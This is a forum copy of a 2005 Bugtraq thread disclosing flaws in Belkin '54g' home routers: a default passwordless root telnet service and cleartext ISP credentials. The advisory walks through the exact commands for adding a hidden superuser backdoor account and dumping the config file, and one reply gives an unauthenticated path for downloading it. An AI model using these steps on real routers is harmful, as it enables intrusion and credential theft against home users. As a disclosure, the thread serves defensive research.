Likes Likes:  0
Resultaten 1 tot 9 van de 9
Geen
  1. #1
    m123303@securityfocus.com, [at]@securityfocus.com,
    several vulnerabilities present in Belkin wireless routers
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    several vulnerabilities present in Belkin wireless routers

    -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA1

    Advisory name:
    several vulnerabilities present in Belkin wireless routers

    Overall severity rating:
    HIGH risk

    Devices affected:
    "belkin54g" family of wireless routers

    4 main vulnerabilities are included in this advisory:
    - - default telnet backdoor
    - - password-less administrative account
    - - verbose messages in telnet sessions reveal filesystem structure and
    possible "interesting" files
    - - cleartext sensitive information stored in config file (config.icf)

    Date:
    July 15, 2005

    Author:
    pagvac (Adrian Pastor)

    Description:
    I've been able to identify several important vulnerabilities in
    different Belkin wireless routers. These vulnerabilities have been
    tested and verified in at least three different Belkin wireless
    router models which are very similar, not only in the way they look
    but also in their functionalities.

    These Belkin wireless routers are quite popular among home users
    probably due to their affordable price and easiness of use. This
    means that the following vulnerabilities and exploits should be
    present in a big number of devices available out there which should
    be very easy to find for wardrivers.

    Note: these routers use a default SSID of "belkin54g".

    - From here, I'd like to encourage other computer security enthusiasts
    to test what I found in their Belkin wireless routers and also let
    everyone know that positive and negative comments about the content
    of this advisory are welcome.

    The first problem is the existance of a default telnet backdoor
    running on the usual 23/tcp port. From my experience, telnet
    interfaces are NOT enabled by default in wireless routers but rather,
    they usually need to be enabled from their administrative web
    interfaces manually:


    <Start of output>

    Starting nmap 3.75 ( http://www.insecure.org/nmap/ ) at 2005-06-06
    18:34 BST
    Initiating SYN Stealth Scan against BelkinModem.Belkin (192.168.2.1)
    [1663 ports] at 18:34
    Discovered open port 53/tcp on 192.168.2.1
    Discovered open port 80/tcp on 192.168.2.1
    Discovered open port 23/tcp on 192.168.2.1
    The SYN Stealth Scan took 1.93s to scan 1663 total ports.
    Initiating UDP Scan against BelkinModem.Belkin (192.168.2.1) [1478
    ports] at 18:34
    The UDP Scan took 1.92s to scan 1478 total ports.
    Host BelkinModem.Belkin (192.168.2.1) appears to be up ... good.
    Interesting ports on BelkinModem.Belkin (192.168.2.1):
    (The 3133 ports scanned but not shown below are in state: closed)
    PORT STATE SERVICE
    23/tcp open telnet
    53/tcp open domain
    53/udp open|filtered domain
    67/udp open|filtered dhcpserver
    80/tcp open http
    123/udp open|filtered ntp
    520/udp open|filtered route
    1900/udp open|filtered UPnP
    MAC Address: 00:11:50XXX (Belkin)

    </End of output>


    This device is usually configured with a default IP address of
    192.168.2.1. The interesting thing about the telnet interface in this
    case is that it provides users with many powerful commands that are
    NOT accessible through the administrative web interface. Again, let
    me remind you that the telnet service is running straight out of the
    box so no user intervention is needed.

    The telnet service, just like the web interface, can be accessed by
    default with root privileges using a "null" password. When I say
    "null" I mean empty, in other words: no password. The difference is
    that the web interface sends the username to the system so only the
    password is required from the user. In this case, all the user needs
    to do is click on the "Submit" button after accessing
    http://192.168.2.1 without entering any password AT ALL. In the case
    of the telnet service, the authentication is different in the sense
    that the system prompts the user for BOTH, username and password. The
    right combination is admin/"null", where "null" is an empty password
    (just press <enter> when prompted for password):

    <Start of output>

    # telnet 192.168.2.1

    Trying 192.168.2.1...
    Connected to 192.168.2.1.
    Escape character is '^]'.

    ,vvvdP9P???^ ,,,
    vvd###P^`^ vvvvv v
    vv#####?^ ????####vv,
    vv####?? ,vvvdP???^ ,,, ??##^
    v#####? ,vvd##P?^ #?#v#vvv
    v#####? v###P^ ,vvv, '?#?,
    ######? ####?^ ,vd#P?^ `???##
    #####? v#### ,d##P^ ''
    ###### v#### ]###L _ _ _
    ___
    #####? v#### ]##L / / \ |\ | |_ \/ /\
    |\ | |
    ###### #### ]###L \_ \_/ | \| |_ /\ /--\
    | \| |
    ?#####v ####v ]##h, ,,
    ?##### ?###h, `9#hv, ,vv###
    ###### #####L ]###L ,v#v'
    ?#####vv ?9##hv, ,,vvvv###'
    ?#####vv `??9P\vv, ^ vv##,
    ###### #######L
    ??###hvv, ,vvv#?##?????
    `????9hdhvv,

    Login: admin
    <enter>
    </End of output>


    As it can be seen, the OS firmware is developed by Conexant, although
    the routers themselves are from Belkin. After researching on both
    Belkin and Conexant websites I found nothing about the OS running in
    these devices and ways to configure them through telnet. However, the
    console mode shows many tools that are available in GNU/Linux
    systems, indicating that this is the type of system running behind
    the scenes.

    After logging in, the user is immediately granted root privileges on
    the system. There are many interesting things an attacker can do at
    this point. Most of the interesting functions are under the "system"
    commands menu. In order to see all the available commands enter "?".


    <Start of output>

    - --> ?
    802.1x 802.1x port based authentication
    agent Get a file from a remote host
    autoprov
    bridge Configure layer 2 bridge
    console Console access
    dhcpclient DHCP client configuration commands
    dhcpserver DHCP server configuration commands
    diagnosticTest
    dnsclient DNS client configuration commands
    dnsrelay DNS relay configuration
    ethernet Commands to configure ethernet transports
    firewall Firewall configuration commands
    help Top level CLI help
    igmp
    imdebug Directly access the information model
    ip Configure IP router
    logger Log to a remote host using syslog
    nat NAT configuration commands
    port Physical port configuration commands
    pppoa PPP over ATM configuration
    pppoe
    radclient RADIUS Client Configuration commands
    rfc1483 Commands to configure RFC1483 transports
    security Security configuration commands not specific to NAT
    or firewall
    sntpclient Simple Network Time Protocol Client commands
    source Read a file of commands
    system System administration commands
    transports Transport configuration commands
    upnp UPnP configuration commands
    user User commands
    webserver Webserver configuration commands
    wpa Configure WPA (Wireless Protected Access)
    - -->

    </End of output>


    To see the available flags/options for a certain command, enter the
    name of the command followed by "?" again and so on:


    <Start of output>

    - --> system ?
    add Add a user to the system
    auto-update Update device firmware automatically from a remote
    server
    config Configuration file maintenance
    cpuload Show current CPU loading
    delete Remove system users
    info Display hardware/software information
    legal
    list List system information
    log Set logging options
    restart Restart system (same as pressing reset)
    set Set user privileges

    </End of output>


    The first exploit an attacker could perform is to add a backdoor
    account with administrative privileges:


    <Start of output>

    - --> system list logins

    Users:
    May May conf. May Access
    ID | Name | Conf. | web | Dialin | Level |
    Comment
    - -----|------------|----------|----------|----------|------------|-----
    - --------
    1 | admin | ENABLED | ENABLED | disabled | superuser |
    Admin user
    - ----------------------------------------------------------------------
    - ---------

    - --> system set user guest access superuser


    - --> system list logins

    Users:
    May May conf. May Access
    ID | Name | Conf. | web | Dialin | Level |
    Comment
    - -----|------------|----------|----------|----------|------------|-----
    - --------
    1 | admin | ENABLED | ENABLED | disabled | superuser |
    Admin user
    2 | guest | ENABLED | ENABLED | disabled | superuser |
    Created by CLI
    - ----------------------------------------------------------------------
    - ---------


    - --> system set login guest maydialin enabled


    - --> system list logins

    Users:
    May May conf. May Access
    ID | Name | Conf. | web | Dialin | Level |
    Comment
    - -----|------------|----------|----------|----------|------------|-----
    - --------
    1 | admin | ENABLED | ENABLED | disabled | superuser |
    Admin user
    2 | guest | ENABLED | ENABLED | ENABLED | superuser |
    Created by CLI
    - ----------------------------------------------------------------------
    - ---------

    <End of output>


    In this case the attacker first lists the avaialable accounts on the
    system and then creates an acccount called "guest" assigning
    superuser privileges to it. After that, the attacker also gives
    dialin permissions to this new backdoor account. In reality, if an
    attacker doesn't want to be loud, he/she would probably use an
    account name that doesn't attract the attention from the owner of the
    router. Such account could be called something like "test", "guest",
    "manager", "default", "root", or "administrator". In this case the
    attacker chose "guest".

    I'd like to say that I don't exactly know what the system means by
    "May Dialin". I simply confirmed during my tests that an attacker can
    indeed assign "dialin" privileges to a newly created superuser
    account and use it to connect to the router through the telnet
    interface with root privileges.

    I suspect that the "dialin" permissions are related to either one of
    the following:

    - - permissions to allow a given account to connect to the router
    - - a dialin interface which can be used by the administrator to dial
    the router from the PSTN (telephone network) provided that the router
    is connected to a telephone line.

    If anyone has played with this option in Belkin routers, please send
    me your comments. Due to the lack of documentation available about
    the telnet interface of these routers, I could not find further
    information on "dialin" permissions.

    After adding the backdoor account the attacker can log into the
    router through telnet using this new account. After that, the
    attacker can add a password with the "user password" command:


    <Start of output>

    - --> user password
    Enter new password: ********
    Again to verify: ********

    </End of output>


    The second interesting thing that an attacker could do is to browse
    the filesystem and dump the config file on the screen. The default
    name of the config file of these routers is "config.icf". This file
    can be obtained in two ways:

    - - from the web interface (http://192.168.2.1) by clicking on "Save
    configuration"
    - - through the telnet interface by browsing the filesystem in the
    "console enable" mode

    After accessing the "console enable" mode the user is provided with a
    bunch of powerful commands, including popular Linux/GNU tools such as
    "cat". This is how to access the console mode (notice how "?" is used
    to list available options for the "console" command):


    <Start of output>

    - --> console ?
    enable Enter console mode
    process Execute console command


    - --> console enable
    Switching from CLI to console mode - type 'exit' to return

    Quantum>


    </End of output>



    The way I found where the config file was located was NOT by browsing
    the filesystem manually with "cd" and "ls" commands, but rather by
    exploiting an interesting behavior of these routers. Basically, when
    you save configuration files from the web interface, make invalid
    http requests, or save system settings (from the web interface as
    well), the system will dump messages on the telnet interface. For
    instance, if you connect to the telnet service and save the
    configuration settings from the web interface, the following message
    will be dumped on the telnet session:

    <Start of output>

    Saving to backup configuration //isfs/im.conf.backup

    </End of output>


    The following error was dumped after playing with invalid requests:


    <Start of output>

    Quantum> webserver: ewsServeEmWebInclude: '/shared/header_start.html'
    not found or wrong type

    </End of output>


    I suggest playing with the web interface while having the telnet
    session open to find interesting files and directories as an
    alternative to manually browsing the filesystem. Also, it might be
    fun to try MITM proxy attacks against the router's web interface with
    tools such as Achilles or Paros. This would allow us to modify the
    inputs included in the POST requests which would normally be
    restricted by the client-side forms. Doing this should hopefully dump
    some interesting errors on the telnet session.

    The following are some of the directories present in the filesystem:

    /isfs/
    /shared/
    /webconfig/images/
    /webconfig/styles/
    /webconfig/styles/
    /webconfig/update/



    Many tools are available in the "console enable" mode. In this case,
    I used "cat" to dump sensitive information found in the config file.
    Remember that a backup of the configuration file can be obtained from
    /isfs/im.conf.backup.

    Interesting things which I found in these file are the following:
    - - hostnames and IP addresses from the DNS table (these are computers
    that are connected in the present and have been connected in the
    past to the router)
    - - ISP account configuration including username and password (yes,
    this is all in cleartext as well!)

    The following output is an example of DNS entries extracted from the
    config file. Note that the original MAC addresses, hostnames,
    username and password have been modified for privacy reasons:

    <Start of output>

    N ImDnsRelayLanHostEntry
    ImDnsRelay.ImDnsRelayLanHostEntries.computerName1i pv4
    A hostName computerName1
    A ipaddr 192.168.2.21
    A macAddress XXXXXXX
    N ImDnsRelayLanHostEntry
    ImDnsRelay.ImDnsRelayLanHostEntries.computerName2i pv4
    A hostName computerName2
    A ipaddr 192.168.2.6
    A macAddress XXXXXXX
    N ImDnsRelayLanHostEntry
    ImDnsRelay.ImDnsRelayLanHostEntries.computerName3i pv4
    A hostName computerName3
    A ipaddr 192.168.2.4
    A macAddress XXXXXXX
    N ImDnsRelayLanHostEntry
    ImDnsRelay.ImDnsRelayLanHostEntries.computerName4i pv4
    A hostName computerName4
    A ipaddr 192.168.2.7
    A macAddress XXXXXXX

    </End of output>


    The following are some of the settings related to the ISP account
    configuration including sensitive information such as username and
    password in the clear:


    <Start of output>

    A weLoginName myname.mysurname@adsl.ispdomain.com
    A weLoginPassword this-is-my-password-in-the-clear
    A weLoginAuth chap

    </End of output>


    I'd like to stress that the consequences of storing the username,
    password and authentication protocol in the clear can be exploited in
    very malicious ways. For instance, the first thing that an attacker
    can exploit is the fact that ISPs usually give users some web
    services after they get their DSL connections set up. I'm talking
    about things such as webmail and account management services. By
    default, these services use the same password as the one used on the
    ISP account (which can be obtained from the config file). In other
    cases, these passwords also remain the same because it's just easier
    for users to have the same password for all their ISP-related
    accounts.

    Also, let's remember that the same password could also be used by the
    user in other services such as messengers, ftp servers and so on.
    This type of information could be easily obtained by an attacker
    sniffing the network either with a wireless sniffer such as Airopeek
    NX or by performing a MITM attack through ARP poisoning with a tool
    like Cain.

    I'm sure that if other people play more with these routers they can
    find other vulnerabilities, exploits and interesting functions.
    Personally, I was surprised by the power that these Belkin routers
    give you once they're accessed through the telnet interface.

    Because most of these "belkin54" family of routers give you root
    privileges by default through the telnet interface, it is really up
    to the attacker on what to exploit. It's just a matter of imagination
    and curiosity. Some ideas could include redirecting users to the
    router's web server whose files could be previously replaced by
    scripts that would exploit the latest vulnerabilities present in the
    most popular web browsers.

    -----BEGIN PGP SIGNATURE-----
    Version: PGP 8.1 - not licensed for commercial use: www.pgp.com

    iQA/AwUBQtdtRbteQP8gtTAfEQLVbgCdG3Txno+dGhLtmvAytTrYtV wqHW0AoMIK
    Yknf7sFxGJw7hbIK1oX642EB
    =5Mdx
    -----END PGP SIGNATURE-----

  2. #2
    Steve Kemp
    several vulnerabilities present in Belkin wireless routers
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: several vulnerabilities present in Belkin wireless routers

    On Fri, Jul 15, 2005 at 08:14:14AM -0000, m123303@securityfocus.com wrote:

    > The first problem is the existance of a default telnet backdoor
    > running on the usual 23/tcp port. From my experience, telnet
    > interfaces are NOT enabled by default in wireless routers but rather,
    > they usually need to be enabled from their administrative web
    > interfaces manually:
    >
    >
    > <Start of output>
    >
    > Starting nmap 3.75 ( http://www.insecure.org/nmap/ ) at 2005-06-06
    > 18:34 BST
    > Initiating SYN Stealth Scan against BelkinModem.Belkin (192.168.2.1)



    The obvious question to ask here, is "Can the telnet service be
    connected to from the WAN side?".

    All the later content you present, whilst interesting, is of
    less value if the attacker must be on the LAN side of the router.

    Steve
    --
    # Debian System Administration
    www.debian-administration.org/


  3. #3
    Ian Clelland
    several vulnerabilities present in Belkin wireless routers
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: several vulnerabilities present in Belkin wireless routers

    On Fri, Jul 15, 2005 at 04:37:10PM +0100, Steve Kemp wrote:
    > On Fri, Jul 15, 2005 at 08:14:14AM -0000, m123303@securityfocus.com wrote:
    >
    > > The first problem is the existance of a default telnet backdoor
    > > running on the usual 23/tcp port. From my experience, telnet
    > > interfaces are NOT enabled by default in wireless routers but rather,
    > > they usually need to be enabled from their administrative web
    > > interfaces manually:
    > >
    > >
    > > <Start of output>
    > >
    > > Starting nmap 3.75 ( http://www.insecure.org/nmap/ ) at 2005-06-06
    > > 18:34 BST
    > > Initiating SYN Stealth Scan against BelkinModem.Belkin (192.168.2.1)

    >
    >
    > The obvious question to ask here, is "Can the telnet service be
    > connected to from the WAN side?".
    >
    > All the later content you present, whilst interesting, is of
    > less value if the attacker must be on the LAN side of the router.


    I suspect that the router will not be found vulnerable from that side,
    but the exploit becomes interesting again if users on the Wireless LAN
    are granted the same level of trust as those on the wired LAN. None of
    the wireless routers I've seen have made any distinction between those
    two segments, and they all come with default administration passwords
    (and no requirement for the user to change them).

    Of course, this 'exploit' really looks like just another example of an
    'insecure by default' consumer device, rather than an issue with the
    firmware.

    Regards,
    Ian

  4. #4
    nicolas.ruff@gmail.com
    several vulnerabilities present in Belkin wireless routers
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: several vulnerabilities present in Belkin wireless routers

    Interesting study, I have seen quite the same configuration on a very
    common broadband router sold in France. There were also operator-defined
    data stored in the configuration files, such as the VoIP gateway
    parameters, the administrative console IP address, and the like.

    FYI, I think the operating system is an ATMOS/ISOS rather than a GNU/Linux.

    In my case, there was also an undocumented but very useful command :
    "debug". It was only available through the console port, but if it works
    for you, you will access a kernel mode debugger.

    Regards,
    - Nicolas RUFF


  5. #5
    ian.latter@midnightcode.org
    several vulnerabilities present in Belkin wireless routers
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: several vulnerabilities present in Belkin wireless routers

    Hello,

    > As it can be seen, the OS firmware is developed
    > by Conexant, although the routers themselves are
    > from Belkin. After researching on both Belkin
    > and Conexant websites I found nothing about the
    > OS running in these devices and ways to
    > configure them through telnet. However, the
    > console mode shows many tools that are available
    > in GNU/Linux systems, indicating that this is
    > the type of system running behind the scenes.


    I've published a shed-load of information on the internal OS of the Belkin, and have my own Linux distro running on this platform.

    If you want to pull it apart, then take a look at the docco here;
    http://www.midnightcode.org/papers/

    And the tools here;
    http://midnightcode.org/projects/pluto/code/

    belky-0.5.c will pull apart or recreate firmware
    images to/from kernel + fs binaries.

    I didn't see the telnet interface on the
    F5D7230-4 models that I was grinding.


  6. #6
    steven.salaets@windriver.com
    several vulnerabilities present in Belkin wireless routers
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Re: several vulnerabilities present in Belkin wireless routers

    What I wonder is: How much of a security threat is this? Are we not talking about default settings here? How secure is a linksys or cisco AP out of the box? As far as I recall Cisco also enables telnet by default and if you Google for a default administra
    tive password for any network device it won't take you 5 minutes to find it.

    -Steven

  7. #7
    Roman Daszczyszak
    several vulnerabilities present in Belkin wireless routers
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: several vulnerabilities present in Belkin wireless routers

    I can't comment on the Belkin stuff. As for Cisco IIRC, telnet is
    enabled by default, however it doesn't allow anyone to log in unless a
    telnet password is set on the vty lines and the login command is
    configured as well, and those are not set by default.

    So, you can certainly use a telnet exploit against them because the
    port is open, but you're not going in via the non-existant password.

    Regards,
    Roman Daszczyszak

    ---------- Original message ----------
    From: steven.salaets@windriver.com
    To: bugtraq@securityfocus.com
    Date: 20 Jul 2005 08:58:29 -0000
    Subject: Re: Re: several vulnerabilities present in Belkin wireless routers
    What I wonder is: How much of a security threat is this? Are we not
    talking about default settings here? How secure is a linksys or cisco
    AP out of the box? As far as I recall Cisco also enables telnet by
    default and if you Google for a default administrative password for
    any network device it won't take you 5 minutes to find it.

    -Steven

  8. #8
    E. Kellinis
    several vulnerabilities present in Belkin wireless routers
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: several vulnerabilities present in Belkin wireless routers

    hmm.. and another interesting thingy .. which I am not sure if is the
    same as what the
    the original author of the advisory meant

    >The second interesting thing that an attacker could do is to browse
    >the filesystem and dump the config file on the screen. The default
    >name of the config file of these routers is "config.icf". This file
    >can be obtained in two ways:
    >
    >- - from the web interface (http://192.168.2.1) by clicking on "Save
    >configuration"


    from what I understand in order to click the Save configuration button
    you need to be logged in but,
    if you do request to save the settings files, then the router creates
    the file config.icf and stores in the router
    and anyone (without even login into the system) can access it for
    download
    from http://192.168.2.1/fs/isfs/config.icf, the file stays there until
    you reboot the router.


    E. Kellinis wrote:

    > just noticed that the TRACE http method is enabled in the router's
    > webserver as well
    >
    >
    >
    > m123303@securityfocus.com wrote:
    >
    >> -----BEGIN PGP SIGNED MESSAGE-----
    >> Hash: SHA1
    >>
    >> Advisory name: several vulnerabilities present in Belkin wireless
    >> routers
    >>
    >> Overall severity rating:
    >> HIGH risk
    >>
    >> Devices affected: "belkin54g" family of wireless routers
    >> 4 main vulnerabilities are included in this advisory:
    >> - - default telnet backdoor
    >> - - password-less administrative account
    >> - - verbose messages in telnet sessions reveal filesystem structure and
    >> possible "interesting" files
    >> - - cleartext sensitive information stored in config file (config.icf)
    >>
    >> Date: July 15, 2005
    >>
    >> Author:
    >> pagvac (Adrian Pastor)
    >>
    >> Description:
    >> I've been able to identify several important vulnerabilities in
    >> different Belkin wireless routers. These vulnerabilities have been
    >> tested and verified in at least three different Belkin wireless
    >> router models which are very similar, not only in the way they look
    >> but also in their functionalities.
    >> These Belkin wireless routers are quite popular among home users
    >> probably due to their affordable price and easiness of use. This
    >> means that the following vulnerabilities and exploits should be
    >> present in a big number of devices available out there which should
    >> be very easy to find for wardrivers.
    >> Note: these routers use a default SSID of "belkin54g".
    >> - From here, I'd like to encourage other computer security enthusiasts
    >> to test what I found in their Belkin wireless routers and also let
    >> everyone know that positive and negative comments about the content
    >> of this advisory are welcome.
    >>
    >> The first problem is the existance of a default telnet backdoor
    >> running on the usual 23/tcp port. From my experience, telnet
    >> interfaces are NOT enabled by default in wireless routers but rather,
    >> they usually need to be enabled from their administrative web
    >> interfaces manually:
    >>
    >>
    >> <Start of output>
    >>
    >> Starting nmap 3.75 ( http://www.insecure.org/nmap/ ) at 2005-06-06
    >> 18:34 BST
    >> Initiating SYN Stealth Scan against BelkinModem.Belkin (192.168.2.1)
    >> [1663 ports] at 18:34
    >> Discovered open port 53/tcp on 192.168.2.1
    >> Discovered open port 80/tcp on 192.168.2.1
    >> Discovered open port 23/tcp on 192.168.2.1
    >> The SYN Stealth Scan took 1.93s to scan 1663 total ports.
    >> Initiating UDP Scan against BelkinModem.Belkin (192.168.2.1) [1478
    >> ports] at 18:34
    >> The UDP Scan took 1.92s to scan 1478 total ports.
    >> Host BelkinModem.Belkin (192.168.2.1) appears to be up ... good.
    >> Interesting ports on BelkinModem.Belkin (192.168.2.1):
    >> (The 3133 ports scanned but not shown below are in state: closed)
    >> PORT STATE SERVICE
    >> 23/tcp open telnet
    >> 53/tcp open domain
    >> 53/udp open|filtered domain
    >> 67/udp open|filtered dhcpserver
    >> 80/tcp open http
    >> 123/udp open|filtered ntp
    >> 520/udp open|filtered route
    >> 1900/udp open|filtered UPnP
    >> MAC Address: 00:11:50XXX (Belkin)
    >>
    >> </End of output>
    >>
    >>
    >> This device is usually configured with a default IP address of
    >> 192.168.2.1. The interesting thing about the telnet interface in this
    >> case is that it provides users with many powerful commands that are
    >> NOT accessible through the administrative web interface. Again, let
    >> me remind you that the telnet service is running straight out of the
    >> box so no user intervention is needed.
    >> The telnet service, just like the web interface, can be accessed by
    >> default with root privileges using a "null" password. When I say
    >> "null" I mean empty, in other words: no password. The difference is
    >> that the web interface sends the username to the system so only the
    >> password is required from the user. In this case, all the user needs
    >> to do is click on the "Submit" button after accessing
    >> http://192.168.2.1 without entering any password AT ALL. In the case
    >> of the telnet service, the authentication is different in the sense
    >> that the system prompts the user for BOTH, username and password. The
    >> right combination is admin/"null", where "null" is an empty password
    >> (just press <enter> when prompted for password):
    >>
    >> <Start of output>
    >>
    >> # telnet 192.168.2.1
    >>
    >> Trying 192.168.2.1...
    >> Connected to 192.168.2.1.
    >> Escape character is '^]'.
    >>
    >> ,vvvdP9P???^ ,,,
    >> vvd###P^`^ vvvvv v
    >> vv#####?^ ????####vv,
    >> vv####?? ,vvvdP???^ ,,, ??##^
    >> v#####? ,vvd##P?^ #?#v#vvv
    >> v#####? v###P^ ,vvv, '?#?,
    >> ######? ####?^ ,vd#P?^ `???##
    >> #####? v#### ,d##P^ ''
    >> ###### v#### ]###L _ _ _
    >> ___
    >> #####? v#### ]##L / / \ |\ | |_ \/ /\ |\
    >> | |
    >> ###### #### ]###L \_ \_/ | \| |_ /\ /--\ |
    >> \| |
    >> ?#####v ####v ]##h, ,,
    >> ?##### ?###h, `9#hv, ,vv###
    >> ###### #####L ]###L ,v#v'
    >> ?#####vv ?9##hv, ,,vvvv###'
    >> ?#####vv `??9P\vv, ^ vv##,
    >> ###### #######L
    >> ??###hvv, ,vvv#?##?????
    >> `????9hdhvv,
    >>
    >> Login: admin
    >> <enter>
    >> </End of output>
    >>
    >>
    >> As it can be seen, the OS firmware is developed by Conexant, although
    >> the routers themselves are from Belkin. After researching on both
    >> Belkin and Conexant websites I found nothing about the OS running in
    >> these devices and ways to configure them through telnet. However, the
    >> console mode shows many tools that are available in GNU/Linux
    >> systems, indicating that this is the type of system running behind
    >> the scenes.
    >>
    >> After logging in, the user is immediately granted root privileges on
    >> the system. There are many interesting things an attacker can do at
    >> this point. Most of the interesting functions are under the "system"
    >> commands menu. In order to see all the available commands enter "?".
    >>
    >> <Start of output>
    >>
    >> - --> ?
    >> 802.1x 802.1x port based authentication
    >> agent Get a file from a remote host
    >> autoprov
    >> bridge Configure layer 2 bridge
    >> console Console access
    >> dhcpclient DHCP client configuration commands
    >> dhcpserver DHCP server configuration commands
    >> diagnosticTest
    >> dnsclient DNS client configuration commands
    >> dnsrelay DNS relay configuration
    >> ethernet Commands to configure ethernet transports
    >> firewall Firewall configuration commands
    >> help Top level CLI help
    >> igmp
    >> imdebug Directly access the information model
    >> ip Configure IP router
    >> logger Log to a remote host using syslog
    >> nat NAT configuration commands
    >> port Physical port configuration commands
    >> pppoa PPP over ATM configuration
    >> pppoe
    >> radclient RADIUS Client Configuration commands
    >> rfc1483 Commands to configure RFC1483 transports
    >> security Security configuration commands not specific to NAT
    >> or firewall
    >> sntpclient Simple Network Time Protocol Client commands
    >> source Read a file of commands
    >> system System administration commands
    >> transports Transport configuration commands
    >> upnp UPnP configuration commands
    >> user User commands
    >> webserver Webserver configuration commands
    >> wpa Configure WPA (Wireless Protected Access)
    >> - -->
    >>
    >> </End of output>
    >>
    >>
    >> To see the available flags/options for a certain command, enter the
    >> name of the command followed by "?" again and so on:
    >>
    >>
    >> <Start of output>
    >>
    >> - --> system ?
    >> add Add a user to the system
    >> auto-update Update device firmware automatically from a remote
    >> server
    >> config Configuration file maintenance
    >> cpuload Show current CPU loading
    >> delete Remove system users
    >> info Display hardware/software information
    >> legal
    >> list List system information
    >> log Set logging options
    >> restart Restart system (same as pressing reset)
    >> set Set user privileges
    >>
    >> </End of output>
    >>
    >>
    >> The first exploit an attacker could perform is to add a backdoor
    >> account with administrative privileges:
    >>
    >>
    >> <Start of output>
    >>
    >> - --> system list logins
    >>
    >> Users:
    >> May May conf. May Access
    >> ID | Name | Conf. | web | Dialin | Level | Comment
    >> - -----|------------|----------|----------|----------|------------|-----
    >> - --------
    >> 1 | admin | ENABLED | ENABLED | disabled | superuser |
    >> Admin user
    >> - ----------------------------------------------------------------------
    >> - ---------
    >>
    >> - --> system set user guest access superuser
    >>
    >>
    >> - --> system list logins
    >>
    >> Users:
    >> May May conf. May Access
    >> ID | Name | Conf. | web | Dialin | Level | Comment
    >> - -----|------------|----------|----------|----------|------------|-----
    >> - --------
    >> 1 | admin | ENABLED | ENABLED | disabled | superuser |
    >> Admin user
    >> 2 | guest | ENABLED | ENABLED | disabled | superuser |
    >> Created by CLI
    >> - ----------------------------------------------------------------------
    >> - ---------
    >>
    >>
    >> - --> system set login guest maydialin enabled
    >>
    >>
    >> - --> system list logins
    >>
    >> Users:
    >> May May conf. May Access
    >> ID | Name | Conf. | web | Dialin | Level | Comment
    >> - -----|------------|----------|----------|----------|------------|-----
    >> - --------
    >> 1 | admin | ENABLED | ENABLED | disabled | superuser |
    >> Admin user
    >> 2 | guest | ENABLED | ENABLED | ENABLED | superuser |
    >> Created by CLI
    >> - ----------------------------------------------------------------------
    >> - ---------
    >>
    >> <End of output>
    >>
    >>
    >> In this case the attacker first lists the avaialable accounts on the
    >> system and then creates an acccount called "guest" assigning
    >> superuser privileges to it. After that, the attacker also gives
    >> dialin permissions to this new backdoor account. In reality, if an
    >> attacker doesn't want to be loud, he/she would probably use an
    >> account name that doesn't attract the attention from the owner of the
    >> router. Such account could be called something like "test", "guest",
    >> "manager", "default", "root", or "administrator". In this case the
    >> attacker chose "guest".
    >>
    >> I'd like to say that I don't exactly know what the system means by
    >> "May Dialin". I simply confirmed during my tests that an attacker can
    >> indeed assign "dialin" privileges to a newly created superuser
    >> account and use it to connect to the router through the telnet
    >> interface with root privileges.
    >> I suspect that the "dialin" permissions are related to either one of
    >> the following:
    >>
    >> - - permissions to allow a given account to connect to the router - -
    >> a dialin interface which can be used by the administrator to dial
    >> the router from the PSTN (telephone network) provided that the router
    >> is connected to a telephone line.
    >> If anyone has played with this option in Belkin routers, please send
    >> me your comments. Due to the lack of documentation available about
    >> the telnet interface of these routers, I could not find further
    >> information on "dialin" permissions.
    >>
    >> After adding the backdoor account the attacker can log into the
    >> router through telnet using this new account. After that, the
    >> attacker can add a password with the "user password" command:
    >>
    >>
    >> <Start of output>
    >>
    >> - --> user password
    >> Enter new password: ********
    >> Again to verify: ********
    >>
    >> </End of output>
    >>
    >>
    >> The second interesting thing that an attacker could do is to browse
    >> the filesystem and dump the config file on the screen. The default
    >> name of the config file of these routers is "config.icf". This file
    >> can be obtained in two ways:
    >>
    >> - - from the web interface (http://192.168.2.1) by clicking on "Save
    >> configuration"
    >> - - through the telnet interface by browsing the filesystem in the
    >> "console enable" mode
    >>
    >> After accessing the "console enable" mode the user is provided with a
    >> bunch of powerful commands, including popular Linux/GNU tools such as
    >> "cat". This is how to access the console mode (notice how "?" is used
    >> to list available options for the "console" command):
    >>
    >>
    >> <Start of output>
    >>
    >> - --> console ?
    >> enable Enter console mode
    >> process Execute console command
    >>
    >>
    >> - --> console enable
    >> Switching from CLI to console mode - type 'exit' to return
    >>
    >> Quantum>
    >>
    >>
    >> </End of output>
    >>
    >>
    >>
    >> The way I found where the config file was located was NOT by browsing
    >> the filesystem manually with "cd" and "ls" commands, but rather by
    >> exploiting an interesting behavior of these routers. Basically, when
    >> you save configuration files from the web interface, make invalid
    >> http requests, or save system settings (from the web interface as
    >> well), the system will dump messages on the telnet interface. For
    >> instance, if you connect to the telnet service and save the
    >> configuration settings from the web interface, the following message
    >> will be dumped on the telnet session:
    >>
    >> <Start of output>
    >>
    >> Saving to backup configuration //isfs/im.conf.backup
    >>
    >> </End of output>
    >>
    >>
    >> The following error was dumped after playing with invalid requests:
    >>
    >>
    >> <Start of output>
    >>
    >> Quantum> webserver: ewsServeEmWebInclude: '/shared/header_start.html'
    >> not found or wrong type
    >>
    >> </End of output>
    >>
    >>
    >> I suggest playing with the web interface while having the telnet
    >> session open to find interesting files and directories as an
    >> alternative to manually browsing the filesystem. Also, it might be
    >> fun to try MITM proxy attacks against the router's web interface with
    >> tools such as Achilles or Paros. This would allow us to modify the
    >> inputs included in the POST requests which would normally be
    >> restricted by the client-side forms. Doing this should hopefully dump
    >> some interesting errors on the telnet session.
    >> The following are some of the directories present in the filesystem:
    >>
    >> /isfs/
    >> /shared/
    >> /webconfig/images/
    >> /webconfig/styles/
    >> /webconfig/styles/
    >> /webconfig/update/
    >>
    >>
    >>
    >> Many tools are available in the "console enable" mode. In this case,
    >> I used "cat" to dump sensitive information found in the config file.
    >> Remember that a backup of the configuration file can be obtained from
